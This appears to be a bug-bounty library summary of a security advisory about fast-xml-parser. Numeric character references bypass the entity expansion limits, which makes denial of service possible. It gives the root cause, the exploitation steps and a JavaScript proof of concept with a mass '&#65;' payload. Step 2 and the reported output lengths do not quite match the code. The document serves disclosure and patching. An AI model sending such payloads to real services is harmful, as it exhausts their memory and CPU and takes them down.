# fast-xml-parser affected by numeric entity expansion bypassing all entity expansion limits (incomplete fix for CVE-2026-26278)

fast-xml-parser's numeric character references bypass all entity expansion limits added for CVE-2026-26278, enabling memory/CPU exhaustion DoS.

- Payout: Research
- Severity: high
- Program: fast-xml-parser
- Found by: deprrous, yuezk
- Disclosed: 2026-03-17
- CVE: CVE-2026-33036
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-8gc5-j5rx-235r
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-8gc5-j5rx-235r
- Tags: area:oss domain:oss impact:dos kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:dos

**Target:** XML parser entity replacement (OrderedObjParser.js replaceEntitiesValue)
**Root cause:** The CVE-2026-26278 fix added expansion counting only to the DOCTYPE entity loop; numeric character references and standard entities are replaced in a separate `lastEntities` loop with no counting, so limits are never enforced for them.
**Steps:**
1. Configure parser with strict limits: `processEntities: { enabled: true, maxTotalExpansions: 10, maxExpandedLength: 100, maxEntityCount: 1, maxEntitySize: 10 }`
2. Build XML with many numeric refs: `<root>${'A'.repeat(100000)}</root>`
3. Parse with `new XMLParser(cfg).parse(xml)`
4. Observe output length 500000 despite maxExpandedLength=100; 1M refs yields ~5MB output and ~147MB memory
**How found:** Reporter reviewed the fix for CVE-2026-26278 and noticed replaceEntitiesValue has two separate replacement loops; only the DOCTYPE loop (lines 638-670) tracks entityExpansionCount/currentExpandedLength, while the lastEntities loop (lines 674-677) handling num_dec/num_hex regexes has no counting, so they tested numeric refs against strict limits.
**Exploitation:** Attacker supplies XML containing massive numbers of `&#NNN;` or `&#xHH;` references to an application using fast-xml-parser; the uncounted lastEntities regex loop expands them all, causing excessive memory allocation and CPU consumption, potentially crashing the process via OOM.
**Insight:** When auditing a DoS fix, enumerate every code path that performs the same dangerous operation — here entity replacement happens in multiple loops, and the patch only instrumented one; numeric/hex character references and HTML entities are separate regexes that skip the counter.

## Proof of concept (copied exactly from the original report)

**Numeric entity expansion bypassing configured limits**

```
const { XMLParser } = require('fast-xml-parser');

// Even with strict explicit limits, numeric entities bypass them
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxTotalExpansions: 10,
    maxExpandedLength: 100,
    maxEntityCount: 1,
    maxEntitySize: 10
  }
});

// 100K numeric entity references — should be blocked by maxTotalExpansions=10
const xml = `<root>${'&#65;'.repeat(100000)}</root>`;
const result = parser.parse(xml);

// Output: 500,000 chars — bypasses maxExpandedLength=100 completely
console.log('Output length:', result.root.length);  // 500000
console.log('Expected max:', 100);  // limit was 100
```

